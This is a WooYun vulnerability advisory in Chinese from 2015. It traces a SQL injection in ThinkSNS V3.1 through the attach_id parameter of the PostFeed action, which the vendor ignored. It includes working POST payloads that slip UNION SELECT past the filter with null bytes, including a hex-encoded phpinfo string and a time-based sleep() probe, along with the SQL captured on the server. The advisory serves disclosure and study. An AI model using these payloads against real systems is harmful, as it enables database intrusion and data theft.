当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-095889

漏洞标题:ThinkSNS 防御绕过思路(union select 真正的无限制sql注射)

相关厂商:ThinkSNS

漏洞作者: menmen519

提交时间:2015-03-09 18:47

修复时间:2015-06-12 18:49

公开时间:2015-06-12 18:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-09: 细节已通知厂商并且等待厂商处理中
2015-03-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-08: 细节向核心白帽子及相关领域专家公开
2015-05-18: 细节向普通白帽子公开
2015-05-28: 细节向实习白帽子公开
2015-06-12: 细节向公众公开

简要描述:

ThinkSNS 防御绕过2

详细说明:

这个代码跟的我好辛苦啊:

public function PostFeed()
{
// 返回数据格式
$return = array('status'=>1, 'data'=>'');
// 用户发送内容
$d['content'] = isset($_POST['content']) ? filter_keyword(h($_POST['content'])) : '';
// 原始数据内容
$d['body'] = filter_keyword($_POST['body']);
// 安全过滤
foreach($_POST as $key => $val) {
$_POST[$key] = t($_POST[$key]);
}
$d['source_url'] = urldecode($_POST['source_url']); //应用分享到微博,原资源链接

// 滤掉话题两端的空白
$d['body'] = preg_replace("/#[\s]*([^#^\s][^#]*[^#^\s])[\s]*#/is",'#'.trim("\${1}").'#',$d['body']);
// 附件信息
$d['attach_id'] = trim(t($_POST['attach_id']), "|");
if ( !empty($d['attach_id']) ){
$d['attach_id'] = explode('|', $d['attach_id']);
array_map( 'intval' , $d['attach_id'] );
}
// 发送微博的类型
$type = t($_POST['type']);
// 所属应用名称
$app = isset($_POST['app_name']) ? t($_POST['app_name']) : APP_NAME; // 当前动态产生所属的应用

$data = model('Feed')->put($this->uid, $app, $type, $d);


跟进去put:

public function put($uid, $app = 'public', $type = '', $data = array(), $app_id = 0, $app_table = 'feed', $extUid = null, $lessUids = null, $isAtMe = true, $is_repost = 0) {
if(false && isSubmitLocked()){
$this->error = '发布内容过于频繁,请稍后再试';
return false;
}
// 判断数据的正确性
if(!$uid || $type == '') {
$this->error = L('PUBLIC_ADMIN_OPRETING_ERROR');
return false;
}
if ( strpos( $type , 'postvideo' ) !== false ){
$type = 'postvideo';
}
//微博类型合法性验证 - 临时解决方案
if ( !in_array( $type , array('post','repost','postvideo','postfile','postimage','weiba_post','weiba_repost') )){
$type = 'post';
}
//应用类型验证 用于分享框 - 临时解决方案
if ( !in_array( $app , array('w3g','public','weiba','tipoff') ) ){
$app = 'public';
$type = 'post';
$app_table = 'feed';
}

$app_table = strtolower($app_table);
// 添加feed表记录
$data['uid'] = $uid;
$data['app'] = $app;
$data['type'] = $type;
$data['app_row_id'] = $app_id;
$data['app_row_table'] = $app_table;
$data['publish_time'] = time();
$data['from'] = isset($data['from']) ? intval($data['from']) : getVisitorClient();
$data['is_del'] = $data['comment_count'] = $data['repost_count'] = 0;
$data['is_repost'] = $is_repost;
//判断是否先审后发
$weiboSet = model('Xdata')->get('admin_Config:feed');
$weibo_premission = $weiboSet['weibo_premission'];
if(in_array('audit',$weibo_premission) || CheckPermission('core_normal','feed_audit')){
$data['is_audit'] = 0;
}else{
$data['is_audit'] = 1;
}
// 微博内容处理
if(Addons::requireHooks('weibo_publish_content')){
Addons::hook("weibo_publish_content",array(&$data));
}else{
$content = $this->formatFeedContent($data['body']);
$data['body'] = $content['body'];
$data['content'] = $content['content'];
}
//分享到微博的应用资源,加入原资源链接
$data['body'] .= $data['source_url'];
$data['content'] .= $data['source_url'];

// 微博类型插件钩子
// if($type){
// $addonsData = array();
// Addons::hook("weibo_type",array("typeId"=>$type,"typeData"=>$type_data,"result"=>&$addonsData));
// $data = array_merge($data,$addonsData);
// }
if( $type == 'postvideo' ){
$typedata = model('Video')->_weiboTypePublish( $_POST['videourl'] );
if ( $typedata && $typedata['flashvar'] && $typedata['flashimg'] ){
$data = array_merge( $data , $typedata );
} else {
$data['type'] = 'post';
}

}

// 添加微博信息
$feed_id = $this->data($data)->add();
if(!$feed_id) return false;

if(!$data['is_audit']){
$touid = D('user_group_link')->where('user_group_id=1')->field('uid')->findAll();

foreach($touid as $k=>$v){
model('Notify')->sendNotify($v['uid'], 'feed_audit');
}
}
// 目前处理方案格式化数据
$data['content'] = str_replace(chr(31), '', $data['content']);
$data['body'] = str_replace(chr(31), '', $data['body']);
// 添加关联数据
$feed_data = D('FeedData')->data(array('feed_id'=>$feed_id,'feed_data'=>serialize($data),'client_ip'=>get_client_ip(),'feed_content'=>$data['body']))->add();

// 添加微博成功后
if($feed_id && $feed_data) {
//锁定发布
lockSubmit();
//微博发布成功后的钩子
//Addons::hook("weibo_publish_after",array('weibo_id'=>$feed_id,'post'=>$data));
// 发送通知消息 - 重点 - 需要简化把上节点的信息去掉.
if($data['is_repost'] == 1) {
// 转发微博
$isAtMe && $content = $data['content']; // 内容用户
$extUid[] = $data['sourceInfo']['transpond_data']['uid']; // 资源作者用户
if($isAtMe && !empty($data['curid'])) {
// 上节点用户
$appRowData = $this->get($data['curid']);
$extUid[] = $appRowData['uid'];
}
} else {
// 其他微博
$content = $data['content'];
//更新最近@的人
model( 'Atme' )->updateRecentAt( $content ); // 内容用户
}

// 发送@消息
model('Atme')->setAppName('Public')->setAppTable('feed')->addAtme($content, $feed_id, $extUid, $lessUids);


再跟进去addAtme:

public function addAtme($content, $row_id, $extra_uids = null, $less_uids = null) {
// 去除重复,空值与自己
$extra_uids = array_diff($extra_uids, array($GLOBALS['ts']['mid']));
$extra_uids = array_unique($extra_uids);
$extra_uids = array_filter($extra_uids);
$less_uids[] = $GLOBALS['ts']['mid'];
$less_uids = array_unique($less_uids);
$less_uids = array_filter($less_uids);
// 获取@用户的UID数组
$uids = $this->getUids($content, $extra_uids, $row_id, $less_uids);


继续跟进getUids:

public function getUids($content, $extra_uids = null, $row_id, $less_uids = null) {
// 正则匹配内容
preg_match_all($this->_at_regex, $content, $matches);
$unames = $matches[1];
$map = "uname in ('".implode("','",$unames)."')";
$ulist = model('User')->where($map)->field('uid')->findall();
$matchuids = getSubByKey($ulist,'uid');
// 如果内容匹配中没有用户
if(empty($matchuids) && !empty($extra_uids)) {
// 去除@用户ID
if(!empty($less_uids)) {
foreach($less_uids as $k => $v) {
if(in_array($v, $extra_uids)) {
unset($extra_uids[$k]);
}
}
}
return is_array($extra_uids) ? $extra_uids : array($extra_uids);
}
// 如果匹配内容中存在用户
$suid = array();
foreach($matchuids as $v) {
!in_array($v, $suid) && $suid[] = (int)$v;
}
// 去除@用户ID
if(!empty($less_uids)) {
foreach($suid as $k => $v) {
if(in_array($v, $less_uids)) {
unset($suid[$k]);
}
}
}

// 发邮件流程
$author = model('User')->getUserInfo($GLOBALS['ts']['mid']);
$content = model('Source')->getSourceInfo($this->_app_table, $row_id, false, $this->_app);


再看看getSourceInfo:

public function getSourceInfo($table, $row_id, $_forApi = false, $appname = 'public') {
static $forApi = '0';
$forApi == '0' && $forApi = intval ( $_forApi );

$key = $forApi ? $table . $row_id . '_api' : $table . $row_id;
if ($info = static_cache ( 'source_info_' . $key )) {
return $info;
}

switch ($table) {
case 'feed' :
$info = $this->getInfoFromFeed ( $table, $row_id, $_forApi );


再跟进去getInfoFromFeed :

private function getInfoFromFeed($table, $row_id, $forApi) {
$info = model ( 'Feed' )->getFeedInfo ( $row_id, $forApi );


再跟进getFeedInfo:

public function getFeedInfo($id, $forApi = false) {
$data = model( 'Cache' )->get( 'feed_info_'.$id );

if ( $data !== false && ($forApi === false || ($forApi === true && isset($data['iscoll'])) ) ){
return $data;
}
$map['a.feed_id'] = $id;

// //过滤已删除的微博 wap 版收藏
// if($forApi){
// $map['a.is_del'] = 0;
// }

$data = $this->where($map)
->table("{$this->tablePrefix}feed AS a LEFT JOIN {$this->tablePrefix}feed_data AS b ON a.feed_id = b.feed_id ")
->find();

$fd = unserialize($data['feed_data']);
$userInfo = model('User')->getUserInfo($data['uid']);
$data['ctime'] = date('Y-m-d H:i',$data['publish_time']);
$data['content'] = $forApi ? parseForApi($fd['body']):$fd['body'];
$data['uname'] = $userInfo['uname'];
$data['user_group'] = $userInfo['api_user_group'];
$data['avatar_big'] = $userInfo['avatar_big'];
$data['avatar_middle'] = $userInfo['avatar_middle'];
$data['avatar_small'] = $userInfo['avatar_small'];
unset($data['feed_data']);

// 微博转发
if($data['type'] == 'repost'){
$data['transpond_id'] = $data['app_row_id'];
$data['transpond_data'] = $this->getFeedInfo($data['transpond_id'], $forApi);
}

// 附件处理
if(!empty($fd['attach_id'])) {
$data['has_attach'] = 1;

$attach = model('Attach')->getAttachByIds($fd['attach_id']);


第一步:
$fd = unserialize($data['feed_data']);
第二步:
$attach = model('Attach')->getAttachByIds($fd['attach_id']);
这时候 在跟进到getAttachByIds 这里面:

public function getAttachByIds($ids, $field = '*') {
if(empty($ids)) {
return false;
}
!is_array($ids) && $ids = explode(',', $ids);
$map['attach_id'] = array('IN', $ids);
$data = $this->where($map)->field($field)->findAll();
return $data;
}


造成一个看起来和二次注意一样的,但是又没有任何限制的注入:
构造url:
http://localhost/ThinkSNS_V3.1_20131108_28822/index.php?app=public&mod=Feed&act=PostFeed
postdata:
type=xxxxx&content=yyyy&body=xxxx&source_url=xxxx&attach_id=1)) uni%00on select 0x273c3f70687020706870696e666f28293f3e27 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 fro%00m `ts_attach` #
后台抓取的sql:
2015/2/5 20:48 SELECT * FROM `ts_attach` WHERE ( `attach_id` IN (1)) union select 0x273c3f70687020706870696e666f28293f3e27 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from `ts_attach` #) )
触发漏洞条件
1.注册一个普通用户
2.refresh只要是本站就可以我们设置为http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed
3.为了明显期间我们采用延时盲注进行测试
发送url:
http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed
postdata:
type=xxxxx&content=yyyy&body=xxxx&source_url=xxxx&attach_id=1)) uni%00on sele%00ct sle%00ep(1%2f10),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 fro%00m `ts_attach` #
referer:
http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed
后台抓取sql为:
2015/3/2 13:22 SELECT * FROM `ts_attach` WHERE ( `attach_id` IN (1)) union select sleep(1/10),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from `ts_attach` #) )

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-12 18:49

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-09 19:59 | 小清新 ( 路人 | Rank:4 漏洞数:1 | 以后再写)

    mark下 万一火了那 等公开

  2. 2015-06-12 22:34 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    没看懂厂商啥意思。。